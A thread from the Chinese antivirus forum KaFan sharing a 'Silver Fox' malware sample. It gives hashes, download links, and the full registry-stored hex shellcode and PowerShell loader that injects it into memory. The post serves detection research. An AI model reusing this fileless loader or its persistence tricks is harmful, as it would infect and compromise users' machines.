查看: 225|回复: 3
收起左侧

[病毒样本] 银狐新变种 - InputPersonalization_Ink_PowerShell_Injector (1)

[复制链接]
wwwab
发表于 昨天 17:33 | 显示全部楼层 |阅读模式
今天提取到一个白加黑劫持火绒应用商店组件的样本,反虚拟机。
最终会通过将PowerShell命令存储到注册表HKCU:\\Software\\Microsoft\\InputPersonalization\\Ink中,然后通过通过PowerShell执行进程注入。

在中招的用户那里,白加黑组件和powershell.exe在任务管理器中可以持续运行。在虚拟机里面不行,白加黑组件跑不起来。
火绒卡巴能打开但是都清理不掉,虚拟机跑不出来,PowerShell注册表就是它写的。

在HKCU\Software\Microsoft\Windows\CurrentVersion\Group Policy\Scripts\Logon创建启动项: "本地组策略"


下载1: https://pan.huang1111.cn/s/jROvnIy
下载2: https://qfile.qq.com/q/78lxa01hew (14 days)




附录:

释放器:
四方平台-用户端.exe: 0045153422495856d0d913df0e59ad68408836ce1dea82be18841b87c0a1c721
四方平台-用户端.msi: 931035369226328a83688867793b2250361695e5a86d30b72f9f16450611ebb8

白加黑部分:
劫持白文件: 火绒应用商店组件HrAppStoreRiff.exe
libcrypto-3.dll: fc6041572ba62c4c7c27ec6fe016437eb9bd7077d41f4377c9639dbdfcf31698
PeLoader: ea55bce43790c17b7b1c896e50c2d73f49d54d6126c020b4f8e3c92466a849dc

注册表部分:
  1. Windows Registry Editor Version 5.00

  2. [HKEY_CURRENT_USER\Software\Microsoft\InputPersonalization\Ink]
  3. "CompatData"="558bec83e4f881ec0c020000535657b98d10b7f8e830030000b933885a9e8bf0e824030000b992f1ae4f8bf8e818030000894424608d44246c50c74424705773325fc744247433322e64c74424786c6c0000ffd6b940d5dc2de8eb020000b9e4f20e3b89442414e8dd020000b9c95329dc89442444e8cf020000b9b98356dd89442448e8c1020000b962e10a528944244ce8b3020000b92a0152db89442450e8a5020000b93c01fad889442454e897020000b9bc139d0b8944245ce889020000b9a70b59088944243ce87b0200006a40be003000008944243c56684c0107006a00ffd76a045668440100006a0089442468ffd78bf8897c2410e80503000033c9803c01427520807c0101797519807c0102407512807c010356750b807c01043c0f841f0100004181f9401f000072d133c9518d14018bcfe8aa02000059c74424187a3f9e2b33dbc744241cd156f8c4c74424201e8d42b7c744242465a30ce9c744242801234567c744242c89abcdefc7442430fedcba98c7442434765432100fb6c3b2dc6bc0078bf30fb6cb83e61f2ad08bc3c1f80483e01f325404188bc3c1f80383e01f325404188bc3c1f80283e01f325404180fb6c30fafc80fb6c36bc00d32d1046132d08d43040fb6c06bc01132d08d4424372bc632100fb6c36bc01332d030141f438b7c241081fb440100007c8d8d842488000000506802020000ff54241c85c00f85120100006a066a016a02ff54245083642440008b5c2438894424148d442440506a006a0057ff54245885c075088b74244085f675116888130000ffd3ebdd83c105e9e4feffff8b76188d7c24788b442410a5a5a5a50fb7404050ff5424508b5c24148b742450668944247aeb0968b80b0000ff54243c6a108d44247c5053ffd683f8ff74e86a006a088d44246cc744246c424675635053c74424786b000000ff5424648b5c245833f68b7c24146a00b84c0107002bc6508d041e5057ff54246c85c07e0a03f081fe4c0107007cdf8b542410518d8b08000700e80101000059ff54243cb965a94f5fe8550000006a2033f68d4c244056565353565189742458ffd06affff54243c85db740b68008000005653ff54246c5f5e5b8be55dc353568bf133d2eb120fbecbc1ca0d80fb618d41e00f4cc103d0468a1e84db75e85e8bc25bc3558bec83ec1464a1300000005356578b400c894df48b40148bf88945ec8b77108b3f85f6744f8b463c8b5c307885db74448b4c330c03cee89fffffff8b4c33208945f803ce33c0894df08945fc3944331876228b0c8103cee87effffff0345f83945f4741c8b45fc8b4df0408945fc3b44331872de3b7dec75a333c05f5e5bc9c38b4dfc8b4433248d04480fb70c308b44331c8d04888b043003c6ebdf85c9741885d27414566a512bd15e8b040a89018d490483ee0175f35ec3558bec51e800000000588945fc8b45fcc9c36605000099faffff427940563ca183f13514752cea7954094a18dfdc87a020a29d0111bb31d1d89b350adafe82b8df742f9bbc3f649cebe02bc9ce0d96e6a6641b46963c36de97d4ba5c8c68949c816bb07512d10a0fb87338cd0a89d2cd4dcff0495973f99118db75d484a0dc8a6d469d183f3ce777800b40757231aa6e2eec932afa50daa26b284667b7532f8cabc01b395e1dc63502490260a7a4ffc949cbf46878d2582f2665cbf424007c3c5bf0ab1f38bbe0bdcac10ae8ef2cb74f0fcdb2ef3f959f6920630deb3bdf2373d43fe4e5ea4d915d8b413428ef6c37c040c2fd44547ef44bc201af0e5e7a066d8aa17affd8db0074830843767132a97d3dff8039e943c976bffc92b36387fbe8cfa47f5d3a79a236014a0163a4a7fcbc3cbe811d0da72dcdc4872916c6e29e6304aff44067e4bf47303bf01215d64daaea28570ada707a92db98f610c024d87fd833e8"
  4. "StrokeData"="try{

  5. $rp='HKCU:\\Software\\Microsoft\\InputPersonalization\\Ink'

  6. $p=Get-ItemProperty -Path $rp -EA SilentlyContinue

  7. if(!$p){exit 1}

  8. $_wk=$env:_SC_VN

  9. $tb=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('A')),'Run').DefineDynamicModule('M').DefineType('W','Public')

  10. $pi=[Reflection.MethodImplAttributes]::PreserveSig

  11. $tb.DefinePInvokeMethod('VirtualAlloc','kernel32.dll','Public,Static,PinvokeImpl','Standard',([IntPtr]),@([IntPtr],[UInt32],[UInt32],[UInt32]),'Winapi','Auto').SetImplementationFlags($pi)

  12. $tb.DefinePInvokeMethod('CreateThread','kernel32.dll','Public,Static,PinvokeImpl','Standard',([IntPtr]),@([IntPtr],[UInt32],[IntPtr],[IntPtr],[UInt32],[IntPtr]),'Winapi','Auto').SetImplementationFlags($pi)

  13. $tb.DefinePInvokeMethod('WaitForSingleObject','kernel32.dll','Public,Static,PinvokeImpl','Standard',([UInt32]),@([IntPtr],[UInt32]),'Winapi','Auto').SetImplementationFlags($pi)

  14. $W=$tb.CreateType()

  15. function X($vn){$hx=$p.$vn;if(!$hx){return [IntPtr]::Zero}$b=New-Object byte[]($hx.Length/2);for($i=0;$i -lt $b.Length;$i++){$b[$i]=[Convert]::ToByte($hx.Substring($i*2,2),16)}$m=$W::VirtualAlloc([IntPtr]::Zero,$b.Length,0x3000,0x40);if($m -eq [IntPtr]::Zero){return [IntPtr]::Zero}[System.Runtime.InteropServices.Marshal]::Copy($b,0,$m,$b.Length);$t=$W::CreateThread([IntPtr]::Zero,0,$m,[IntPtr]::Zero,0,[IntPtr]::Zero);return $t}

  16. if($_wk){

  17. Remove-Item env:_SC_VN -EA SilentlyContinue

  18. $t=X $_wk

  19. if($t -ne [IntPtr]::Zero){$W::WaitForSingleObject($t,[UInt32]::MaxValue)|Out-Null}

  20. exit 0}

  21. $pfx=if([IntPtr]::Size -eq 8){'TrainingData'}else{'CompatData'}

  22. $alt=if([IntPtr]::Size -eq 8){'CompatData'}else{'TrainingData'}

  23. $names=@($p.PSObject.Properties|Where-Object{$_.Name -like "$pfx*" -and $_.Value}|Select-Object -ExpandProperty Name)

  24. if($names.Count -eq 0){

  25. $altN=@($p.PSObject.Properties|Where-Object{$_.Name -like "$alt*" -and $_.Value}|Select-Object -ExpandProperty Name)

  26. if($altN.Count -gt 0){

  27. $ps=if([IntPtr]::Size -eq 8){"$env:SystemRoot\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe"}else{"$env:SystemRoot\\Sysnative\\WindowsPowerShell\\v1.0\\powershell.exe"}

  28. $si=New-Object Diagnostics.ProcessStartInfo;$si.FileName=$ps;$si.Arguments='-NoLogo -c "& ([scriptblock]::Create((Get-ItemProperty ''HKCU:\\Software\\Microsoft\\InputPersonalization\\Ink'' -EA 0).StrokeData))"';$si.CreateNoWindow=$true;$si.UseShellExecute=$false;$si.WorkingDirectory=$env:SystemRoot

  29. [Diagnostics.Process]::Start($si)|Out-Null;exit 0}

  30. exit 1}

  31. if($names.Count -gt 1){

  32. $myPs=[Diagnostics.Process]::GetCurrentProcess().MainModule.FileName

  33. for($n=0;$n -lt $names.Count-1;$n++){

  34. $env:_SC_VN=$names[$n]

  35. $si=New-Object Diagnostics.ProcessStartInfo;$si.FileName=$myPs;$si.Arguments='-NoLogo -c "& ([scriptblock]::Create((Get-ItemProperty ''HKCU:\\Software\\Microsoft\\InputPersonalization\\Ink'' -EA 0).StrokeData))"';$si.CreateNoWindow=$true;$si.UseShellExecute=$false;$si.WorkingDirectory=$env:SystemRoot

  36. [Diagnostics.Process]::Start($si)|Out-Null}

  37. Remove-Item env:_SC_VN -EA SilentlyContinue}

  38. $t=X $names[-1]

  39. if($t -ne [IntPtr]::Zero){$W::WaitForSingleObject($t,[UInt32]::MaxValue)|Out-Null}

  40. }catch{}"

复制代码

莒县小哥
发表于 3 小时前 | 显示全部楼层

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x

评分

参与人数 1人气 +3 收起 理由
dongwenqi + 3 版区有你更精彩: )

查看全部评分

每顿需吃三大碗
发表于 1 小时前 | 显示全部楼层
AVAST扫描杀
asdfnbbj
发表于 1 小时前 | 显示全部楼层
360扫描3个

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2026-10-23 18:02 , Processed in 0.076459 second(s), 3 queries , Redis On.

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表